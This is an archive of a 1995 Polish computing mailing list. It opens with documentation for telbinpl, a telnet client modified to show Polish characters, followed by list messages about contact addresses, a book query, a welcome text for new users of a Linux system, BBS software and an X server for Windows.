            Kilka zdan na temat pakietu telbinpl.


Do czego moze sie przydac pakiet telbinpl?

Pakiet  ten  jest to nieco zmodyfikowana wersja  popularnego
programu  telbin (CUTCP), pozwalajacego na  zdalna prace  za
pomoca  uslugi  telnet. Modyfikacja polega  na  uzupelnieniu
programu  o  funkcje pozwalajace uzyskiwac na  ekranie  tzw.
polskie  znaki  (czyli $"&'). Poniewaz  coraz  czesciej
spotyka  sie  w  sieci teksty pisane po  polsku,  z  uzyciem
standardu  ISO-8859-2,  dlatego warto  zainstalowac  program
pozwalajacy je poprawnie ogladac. Poczatkowym przeznaczeniem
programu   byla   praca   z  systemem   bibliotecznym   VTLS
uruchamianym  w  Bibliotece Jagiellonskiej, oraz  Bibliotece
Glownej  AGH, jednak okazalo sie ze rozwiazanie to moze  byc
przydatne takze dla innych programow pracujacych w  systemie
Unix, takich jak Lynx, Gopher, Allegro.

Ile to kosztuje?

Jako  ze  oryginalny  telbin jest rozprowadzany  bezplatnie,
dlatego tez pakiet telbinpl jest dostepny za darmo, mozna go
sciagnac  m.in. z tzw. anonymous ftp na serwerze AGH,  pelny
adres (URL) to
ftp://ftp.agh.edu.pl/pub/msdos/network/cutcp/telbinpl.zip.

Co wchodzi w sklad pakietu?

Pakiet   sklada   sie   z   programu  telbin.exe,   bedacego
zmodyfikowana  wersja  oryginalnego  programu  telbin,  oraz
programu    ogonki.com   (autorstwa   Andrzeja    Gorbiela),
instalujacego polskie znaki na kartach graficznych  EGA/VGA,
oraz obslugujacego klawiature (polskie znaki uzyskuje sie za
pomoca  kombinacji  prawy_Alt+litera), a  takze  z  pliku  z
dokumentacja  (czyli wlasnie TEGO pliku) w dwoch  formatach,
MSWord oraz ASCII.

Dla kogo ten pakiet jest przeznaczony?

Zasadniczo  pakiet  jest przeznaczony  dla  osob  ktore  juz
korzystaja  z  programu  telbin.  Powinny  one   po   prostu
podmienic  oryginalny  telbin.exe przez  plik  o  tej  samej
nazwie   zawarty   w   pakiecie.   W   szczegolnosci    plik
konfiguracyjny   moze  (a  nawet  powinien)   pozostac   nie
zmieniony.
Jezeli ktos nie zna pakietu telbin, to powinien sciagnac  go
w  calosci  i  zapoznac  sie z dokumentacja  i  przykladowym
plikiem konfiguracyjnym, a dopiero po zainstalowaniu  wersji
oryginalnej    zamienic   plik   wykonywalny   (telbin.exe).
Oryginalny pakiet mozna znalezc m.in. w:
ftp://ftp.agh.edu.pl/pub/msdos/network/cutcp/cutcp-b.zip

Jak korzystac z tego pakietu?

Po  zamianie pliku telbin.exe przez ten zawarty w  pakiecie,
nalezy   uruchomic  program  ogonki  (bez   parametrow),   a
nastepnie telbin.exe (podajac ewentualnie adres komputera do
ktorego  chcemy  sie  podlaczyc). Nalezy  pamietac  o  pliku
konfiguracyjnym,  jego  nazwe  wraz   ze   sciezka   powinna
wskazywac  zmienna CONFIGTEL. Zawartosc tego  pliku  powinna
byc  dokladnie  taka  sama  jak  dla  oryginalnego  programu
telbin.  Dalsza  praca  przebiega  dokladnie  tak  jak   dla
zwyklego programu telbin, jedyna roznica jest to, ze znaki o
kodach  odpowiadajacych polskim literom w kodzie  ISO-8859-2
sa  przez  program zamieniane na odpowiednie znaki standardu
Mazovia  a  nastepnie (dzieki programowi ogonki) wyswietlane
jako poprawne polskie znaki.
Aby  przeslac do zdalnego komputera odpowiedni  polski  znak
(np.  w edytorze Allegro), nalezy nacisnac prawy Alt wraz  z
odpowiednim  klawiszem (np. Alt+a daje a, Alt+Shift+Z  -  Z,
Alt+x - z).
Lewy  Alt  sluzy do wydawania polecen programu  telbin  (np.
Alt+a   -   nowa   sesja,   Alt+n  -   przelaczanie   miedzy
sesjami...).Po zakonczeniu pracy z telbinem mozna  usunac  z
pamieci program ogonki poleceniem ogonki /u.

Jaki standard polskich liter?

Obecnie  znanych  jest ponad 20 standardow polskich  znakow.
Szczesliwie  jednak w systemach Unix oraz w  sieci  Internet
popularnosc  zdobyl tylko jeden standard  -  ISO-8859-2.  Do
tego  standardu  przystosowany  jest  tez  pakiet  telbinpl.
Poniewaz jednak polskie znaki w tym standardzie koliduja  ze
znakami  ramek,  zdecydowalem sie  na  konwersje  znakow  "w
locie",   co  oznacza  ze  program  automatycznie   zamienia
wszystkie   znaki   ze  standardu  ISO-8859-2   na   Mazovie
(popularna  wsrod  komputerow PC),  ktory  to  standard  nie
koliduje  ze znakami semigrafiki. Podobnie znaki wprowadzane
z  klawiatury  sa zamieniane na ISO-8859-2 i dopiero  w  tej
postaci sa wysylane do zdalnego komputera.

Gdzie mozna znalezc polskie teksty?

Tekstow  pisanych w pelni po polsku (czyli z  wykorzystaniem
polskich  znakow)  mozna  znalezc  w  sieci  Internet  coraz
wiecej,  wymienie  tylko kilka przykladowych  -  duza  czesc
dokumentow      WWW      (zaczac      mozna      np.      od
http://www.uci.agh.edu.pl/), Gazeta Wyborcza -  dodatek  KiB
oraz   lokalny  krakowski  (gopher://gopher.cyf-kr.edu.pl/),
poza tym programem komunikujacym sie z uzytkownikiem w pelni
po polsku (i pozwalajacym na pisanie tekstow po polsku) jest
Allegro,    dostepne    za   darmo    w    systemie    Linux
(ftp://ftp.agh.edu.pl/pub/linux/progs/allegro).   To   tylko
niewielka  czesc dokumentow pisanych po polsku, pojawia  ich
sie z kazdym dniem coraz wiecej.

Jak korzystac z systemu bibliotecznego VTLS?

Jak  to  juz zostalo wspomniane, program poczatkowo  powstal
aby  umozliwic  korzystanie  z polskich  znakow  w  systemie
bibliotecznym VTLS. Aby skorzystac z tego systemu nalezy (po
zainstalowaniu  pakietu  tak jak bylo  to  powyzej  opisane)
uruchomic  go  podajac  jako  parametr  adres  komputera   w
Bibliotece Jagiellonskiej: fridge.bj.uj.edu.pl
Po  zgloszeniu sie komputera (moze to chwile potrwac) nalezy
postepowac  zgodnie  z  instrukcjami  pojawiajacymi  sie  na
ekranie. Przy wyborze terminala nalezy wybrac pozycje nr  1,
to jest terminal HP ze znakami w standardzie ISO-8859.
Przez  caly czas pracy mozna wprowadzac polskie litery  (np.
przy  wpisywaniu nazwiska autora) korzystajac  z  kombinacji
prawy_Alt+litera.
UWAGA! System na komputerze fridge.bj.uj.edu.pl jest jeszcze
ciagle  w  fazie  testow, dlatego tez czesc uslug  moze  byc
zablokowana, poza tym wprowadzono jak na razie  tylko  czesc
katalogow bibliotek.

Do kogo zglaszac pretensje?

Autorem  poprawek do telbina jestem ja sam osobiscie piszacy
te slowa:
Piotr -Kaz- Piatkowski, e-mail: Kompas@uci.agh.edu.pl,
Uczelniane Centrum Informatyki AGH p.417, 
tel. (0-12) 33-76-00 wew. 28-85,
Home-page: http://www.uci.agh.edu.pl/~kompas/

Wszelkie  uwagi prosze zglaszac na jeden z podanych  powyzej
adresow (najlepiej e-mail).

Autorem    programu   ogonki.com   jest   Andrzej   Gorbiel,
dziennikarz Gazety Wyborczej,
e-mail: A.Gorbiel@Ga-Wyb.Krakow.PL

Oczywiscie  nie  biore  zadnej odpowiedzialnosci,  nie  daje
zadnej gwarancji, etc...

--------------

To tyle jezeli chodzi o plik z opisem. Wiec coz - share and joy! :-)

--------------
Piotr Piatkowski, Uczelniane Centrum Informatyki, AGH Krakow, POLAND
From geniwick@cyfronet.krakow.pl Mon Jan 30 08:11:49 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA02371; Mon, 30 Jan 95 08:08:58 +0100
Return-Path: <geniwick@cyfronet.krakow.pl>
Received: from kinga.cyf-kr.edu.pl (kinga.cyf-kr.edu.pl [149.156.4.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with ESMTP id IAA11942 for <polip@zsku.p.lodz.pl>; Mon, 30 Jan 1995 08:12:39 +0100
Received: from [149.156.2.26] (jacek.cyf-kr.edu.pl [149.156.2.26]) by kinga.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id IAA20909 for <polip@zsku.p.lodz.pl>; Mon, 30 Jan 1995 08:13:00 +0100
Message-Id: <199501300713.IAA20909@kinga.cyf-kr.edu.pl>
X-Sender: geniwick@kinga.cyf-kr.edu.pl
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Mon, 30 Jan 1995 08:17:30 +0100
To: polip@zsku.p.lodz.pl
From: geniwick@cyf-kr.edu.pl (Jacek Niwicki)
Subject: Adres do Lupus

>
>Kiedys na liscie pojawil sie adres do kogos z PC-Kuriera. Przekopalem
>wszystkie swoje archiwalne listy, adresy, etc... ale niestety - nima.
>Wiec moze ktos pamieta? Najchetniej gdyby to byl adres kogos z Unix-forum,
>ale moze byc ktokolwiek z redakcji...

Adres do Lupusa   lupus@sam.nask.com.pl

Z mojego doswiadczenia wynika, ze raczej nie odpowiadaja na listy

Jacek Niwicki


From muhlig@usctoux1.cto.us.edu.pl Mon Jan 30 08:50:08 1995
Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA03304; Mon, 30 Jan 95 08:47:35 +0100
Return-Path: <muhlig@usctoux1.cto.us.edu.pl>
Subject: pytanie o ksiazke
To: polip@zsku.p.lodz.pl
Date: Mon, 30 Jan 1995 08:56:47 -0100 (MET)
From: Maciek Uhlig <muhlig@usctoux1.cto.us.edu.pl>
X-Mailer: ELM [version 2.4 PL23~]
Content-Type: text
Content-Length: 595       
Message-Id:  <9501300856.aa11065@usctoux1.cto.us.edu.pl>

Czy ktos z Was zna te ksiazke? Jesli tak, czy jest ona cos warta?

SunSoft Press (Prentice Hall):
	Sun Performance and Tuning, SPARC & Solaris
	Adrian Cockcroft
	ISBN 013-149642-3

Maciek Uhlig

----------------------------------------------------------------------
Maciej UHLIG, Computer Center, Silesian University
                          Uniwersytecka 4 St., 40-007 KATOWICE, POLAND
Internet: muhlig@usctoux1.cto.us.edu.pl  Voice: +48 (32) 588211 (1768)
                                         Fax:   +48 (32) 596847 
***** Imagine all the people sharing all the world (John Lennon) *****
From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 30 17:20:13 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA11157; Mon, 30 Jan 95 17:17:26 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id RAA16633 for polip@zsku.p.lodz.pl; Mon, 30 Jan 1995 17:17:16 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: Mon, 30 Jan 1995 16:02:17 GMT
From: mkaleta@cyf-kr.edu.pl (A.Gorbiel)
Message-Id: <D3877t.2o2@cyf-kr.edu.pl>
Organization: Gazeta Wyborcza, Oddzial Katowice
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3ghgn8$bka@galaxy.uci.agh.edu.pl>
Reply-To: A.Gorbiel@Ga-Wyb.Krakow.PL (Andrzej Gorbiel)
Subject: Re: Telnet z ogonkami

Piotr Piatkowski (kompas@uci.agh.edu.pl) wrote:

: Udalo mi sie stworzyc wersje telbina ktora radzi sobie z ogonkami.
: Dodalem do tego program 'ogonki' Andrzeja Gorbiela,

: Autorem    programu   ogonki.com   jest   Andrzej   Gorbiel,
: dziennikarz Gazety Wyborczej,
: e-mail: A.Gorbiel@Ga-Wyb.Krakow.PL

: Oczywiscie  nie  biore  zadnej odpowiedzialnosci,  nie  daje
: zadnej gwarancji, etc...
:
Ja rowniez ;-)
Ale ciesze sie, ze wreszcie KiB bedzie czesciej czytany po polsku
niz po polskawemu.

Apropos. Z logu gophera wynika, ze wersje KiB w Mazovii i w ISO maja
praktycznie __te sama__ popularnosc - duzo mniejsza niz gole ASCII.

: --------------
: Piotr Piatkowski, Uczelniane Centrum Informatyki, AGH Krakow, POLAND

--       ,
Andrzej Gorbiel                                   <A.Gorbiel@Ga-Wyb.Krakow.PL>
Gazeta Wyb*rcza Oddz. Katowice, (++48-32)512-130 ext.231, fax (++48-32)512-472
From kszychu@i17linuxa.ists.pwr.wroc.pl Mon Jan 30 18:31:54 1995
Received: from i17linuxa.ists.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA12455; Mon, 30 Jan 95 18:27:13 +0100
Return-Path: <kszychu@i17linuxa.ists.pwr.wroc.pl>
Received: (from kszychu@localhost) by i17linuxa.ists.pwr.wroc.pl (8.6.9/8.6.9) id SAA00410 for polip@zsku.p.lodz.pl; Mon, 30 Jan 1995 18:19:49 +0100
From: Krzysztof Gozdz <kszychu@i17linuxa.ists.pwr.wroc.pl>
Message-Id: <199501301719.SAA00410@i17linuxa.ists.pwr.wroc.pl>
Subject: Informacja dla nowych uzytkownikow
To: polip@zsku.p.lodz.pl
Date: Mon, 30 Jan 1995 18:19:45 +0100 (MET)
Reply-To: kszychu@i17linuxa.ists.pwr.wroc.pl (Krzysztof Gozdz)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 4541      

Kilka tygodni temu Andrzej Jarzewski <andyar33@plearn.edu.pl>,
a potem Grzegorz Mielcarek <greg@chicken.iie.wsi.zgora.pl> prosili
o podzielenie sie z nimi swoimi uwagami co do regulaminu dla uzytkownikow
ich sieci lokalych z wyjsciem na Internet.

Oto tekst, ktory wysylamy nowym uzytkownikom naszych systemow Linux'owych
(<i17linuxa.ists.pwr.wroc.pl> i <i17linuxb.ists.pwr.wroc.pl>)
przy zakladaniu im kont.  Z racji tej musi on byc na tyle krotki, zeby
uzytkownicy przeczytali go w calosci. :-)  Tak wiec jedynie pokazuje problem
etykiety sieciowej (do ktorej oczywiscie odsyla) oraz traktuje o sprawach
lokalnych.  Piszac go staralem sie, aby po malych przerobkach znalazl
zastosowanie w innych wielozadaniowych i wielodostepnych systemach
(UNIX, VMS, VM, NetWare) polaczonych za pomoca sieci komputerowej z calym
swiatem.  Udostepniam go wszystkim zainteresowanym oraz pozwalam na swobodna
jego modyfikacje.

W sprawie ewentualnych komentarzy, sugestii i uzupelnien, prosze pisac na moj
prywatny adres, no chyba, ze podyskutujemy o tym wszyscy na liscie i wspolnie
stworzymy cos lepszego.

-----------------------------------------------------------------------------

Nowy uzytkowniku-

Witamy Cie w naszym systemie i jednoczesnie informujemy o kilku istotnych
sprawach zwiazanych z Twoja dzialalnoscia tutaj.

Oto krotki i prosty regulamin obowiazujacy u nas:

1. Administratorzy maja zawsze racje.
2. Gdyby nie mieli racji - patrz punkt. 2.
3. Sprawy nie ujete powyzej rozstrzygaja administratorzy.

:-)  A tak na powaznie, to:

Nie ma scislych regul okreslajacych zasady zachowania sie w systemie
wielozadaniowym, wielodostepnym i polaczonym za pomoca sieci komputerowej
z calym swiatem.  Obowiazuja w nim jednak podstawowe normy dobrego
wychowania.  Dobrze jest wiec pamietac, ze nie jestes jedynym jego
uzytkownikiem.

Zwracanie sie do Ciebie per "Ty" nie jest objawem traktowania Cie z gory.
W rozleglych sieciach komputerowych (prawie) wszyscy tak wlasnie postepuja.
W koncu i tak na ogol nie widujemy sie, wiec stosowanie form zaleznych
od wieku, wyksztalcenia, czy stanowiska nie ma wielkiego sensu.
Byc moze rowniez nawyk ten pochodzi wprost z jezyka angielskiego
- pierwszego i bezsprzecznie najpopularniejszego w kontaktach komputerowych.
Oczywiscie mozesz tytulowac adresatow swoich listow per "Pan",
nie zdziw sie jednak, gdy okaza sie oni uczniami szkoly podstawowej.
[Tym bardziej po przyjeciu programu "Internet dla Szkol" ;-)]

W razie jakichkolwiek problemow (nawet jesli uwazasz, ze to Ty zawiniles)
zwracaj sie do adminstratorow, najlepiej poprzez poczte elektroniczna.
Byc moze nie odpowiedza natychmiast (to bardzo zapracowani ludzie),
jednak w przeciagu kilku dni powinienes dostac odpowiedz.  Wyjatkiem sa
pochwaly i nagany, na ktore administratorzy nie zawsze odpowiadaja, jednak 
zawsze wnikliwie je czytaja.

Jesli chcesz korzystac z mozliwosci, jakie oferuje Ci siec Internet,
koniecznie zapoznaj sie z zasadami zachowania sie w niej obowiazujacymi,
czyli tzw. etykieta sieciowa.  W tym celu mozesz - na przyklad - wywolac
program 'lynx http://www.pk.edu.pl/texts/etykieta.html'.
Wiadomosc, ktora wlasnie czytasz jest jedynie zasygnalizowaniem problemu
oraz traktuje o sprawach specyficznych dla tego systemu.

Po zalogowaniu sie na swoje konto bedziesz czasami otrzymywal komunikaty
o nowych wiadomosciach od administratorow.  Aby je przejrzec, uzywaj komendy
'news'.  Wiecej na ten temat znajdziesz w dokumantacji do programu news
- 'man news'.

Na Linux'ie - w przeciwienstwie do SCO-UNIX'a - nie potrzebujesz prosic
administratora, jesli chcesz zmienic swoj domyslny shell (ang. login shell)
na inny.  Mozesz to zrobic sam uzywajac polecenia 'chsh'.

Zyczymy milej pracy!

-Marek Michalkiewicz <marekm@i17linuxa.ists.pwr.wroc.pl>
-Krzysztof Gozdz "Kszychu" <kszychu@i17linuxa.ists.pwr.wroc.pl>

-----------------------------------------------------------------------------

Acknowledgements

Piszac moj regulamin zapoznalem sie z tekstem, jakim Jan Stozek
- SysOp Home of PCQ BBS - wital nowych uzytkownikow w swoim BBS'ie
oraz z tzw. etykieta sieciowa napisana przez Arlene H. Rinaldi
<rinaldi@acc.fau.edu> z Florida Atlantic University i przetlumaczona
przez Krzysztofa Snopka z Politechniki Gdanskiej.

3majcie sie!

-Kszychu

   ///\     Name: Krzysztof Gozdz "Kszychu"
   C ..    Study: Poland   Wroclaw   Technical University
     _\           Institute of Control and Systems Engineering
   \ \    E-mail: kszychu@i17linuxa.ists.pwr.wroc.pl
             WWW: http://www.ists.pwr.wroc.pl/~kszychu
From lessta@ki.se Tue Jan 31 13:45:51 1995
Received: from ki.se by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA06491; Tue, 31 Jan 95 13:41:42 +0100
Return-Path: <lessta@ki.se>
Received: by ki.se id AA26785
  (5.67a/IDA-1.5 for polip@zsku.p.lodz.pl); Tue, 31 Jan 1995 13:52:26 +0100
Date: Tue, 31 Jan 1995 13:52:25 +0200 (METDST)
From: Leszek Stawiarz cnsf <Leszek.Stawiarz@cnsf.ki.se>
Subject: Pytanie o programy BBS-owe
To: polip@zsku.p.lodz.pl
In-Reply-To: <398ap1$cnb@cyber.ict.pwr.wroc.pl>
Message-Id: <Pine.3.89.9501311228.A11470-0100000@ki.se>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Czesc,
   Poszukuje jakiegos programu (freeware lub shareware) do zalozenia skrzynki
BBSowej na serverze Novellowym (v.3.11), lub wydzielonym PC bedacym w
sieci Novellowej. Chodzi o to, aby osoby laczace sie ze skrzynka mialy
dostep do roznych, wydzielonych zasobow i nie mialy mozliwosci zagladania
do innych obszarow (katalogow, zdefiniowanych dyskow logicznych itp). 

   Szukam tez programu, ktory by lokalnie rozdzielal poczte e-mailowa,
splywajaca do serwera Novellowego (lub wydzielonego, stale
wlaczonego/aktywnego PC w sieci) i przesylal automatycznie (lub
polautomatycznie po zaloginowaniu sie, lub/i uaktywnieniu jakiegos
programu) do lokalnych stacji roboczych (PC). 

   Program zintegrowany laczacy mail server z BBS mile widziany, ze wzgledu 
na jeden modem i jedna linie telefoniczna.

   Polaczenie naszej maszyny (sieci) z serverem Internetowym opiera sie na
protokole UUCP. Na serwerze "Internetowym" mamy jedno konto i dlatego
chcemy rozdzielac poczte lokalnie dla wszystkich (8) uzytkownikow majacych
rozne "identyfikatory" przed @ (at sign) w adresie e-mailowym. Dotychczas
korzystamy z Winnetu, ktory nie potrafi dystrybuowac poczty na roznych
"uzytkownikow". 

   Czy mozna gdzies znalezc porownanie roznych programow obslugi poczty (duza
tabele i artykul gdzies widzialem - chyba w Open Computing / dawny Unix
World, ale nie moge jej znalezc). To samo pytanie dotyczy programow BBSowych.

   Wszelkie uwagi, benchmarki i propozycje dotyczace jakosci, niezawodnosci 
wygodnego "user interface" itp. mile widziane. 

   Gdzie mozna znalezc teksty opisujace koncepcje i szczegoly techniczne 
roznych rozwiazan BBS. Czy jest jakis RQF lub FYI?

Pozdrawiamy serdecznie

/Leszek Stawiarz i Jerzy Dzieciaszek
From RAJ@inf.wsp.krakow.pl Tue Jan 31 18:10:53 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA10731; Tue, 31 Jan 95 18:10:13 +0100
Return-Path: <RAJ@inf.wsp.krakow.pl>
Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id SAA22203 for <polip@zsku.p.lodz.pl>; Tue, 31 Jan 1995 18:15:12 +0100
Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12);
    Tue, 31 Jan 95 18:12:39 GMT+0100
Received: from ~MAIL~ by INF (Mercury 1.12); Tue, 31 Jan 95 18:12:14 GMT+0100
From: "Jaroslaw Rafa" <RAJ@inf.wsp.krakow.pl>
Organization:  Zaklad Informatyki WSP, Krakow
To: polip@zsku.p.lodz.pl
Date:          Tue, 31 Jan 1995 18:12:09 GMT+0100
Subject:       Re: Adres do Lupusa
Priority: normal
X-Mailer: Pegasus Mail v3.21
Message-Id: <B452619DD@inf.wsp.krakow.pl>

> Date sent:      Fri, 27 Jan 95 20:24:45 +0100
> Send reply to:  polip@zsku.p.lodz.pl
> From:           kompas@uci.agh.edu.pl (Piotr Piatkowski)
> To:             sfrafa@cyf-kr.edu.pl
> Subject:        Adres do Lupusa
> Organization:   University of Mining & Metallurgy

> Kiedys na liscie pojawil sie adres do kogos z PC-Kuriera. Przekopalem
> wszystkie swoje archiwalne listy, adresy, etc... ale niestety - nima.
> Wiec moze ktos pamieta? Najchetniej gdyby to byl adres kogos z Unix-forum,
> ale moze byc ktokolwiek z redakcji...
> 
    lupus@sam.nask.com.pl
    
Pozdrowienia,
   Jaroslaw Rafa
   sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl
    
From RAJ@inf.wsp.krakow.pl Tue Jan 31 20:00:54 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA12589; Tue, 31 Jan 95 19:59:34 +0100
Return-Path: <RAJ@inf.wsp.krakow.pl>
Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id UAA23133 for <polip@zsku.p.lodz.pl>; Tue, 31 Jan 1995 20:04:35 +0100
Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12);
    Tue, 31 Jan 95 20:02:01 GMT+0100
Received: from ~MAIL~ by INF (Mercury 1.12); Tue, 31 Jan 95 20:01:08 GMT+0100
From: "Jaroslaw Rafa" <RAJ@inf.wsp.krakow.pl>
Organization:  Zaklad Informatyki WSP, Krakow
To: polip@zsku.p.lodz.pl
Date:          Tue, 31 Jan 1995 20:01:03 GMT+0100
Subject:       X serwer dla MS-Windows ?
Priority: normal
X-Mailer: Pegasus Mail v3.21
Message-Id: <D15FC087E@inf.wsp.krakow.pl>

No wlasnie.
Moze mi ktos dac namiary na jakis X serwer dla MS-Windows osiagalny przez ftp?
(poza xwindemo.zip z Cicy, ten juz znam).
Pozdrowienia,
   Jaroslaw Rafa
   sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl
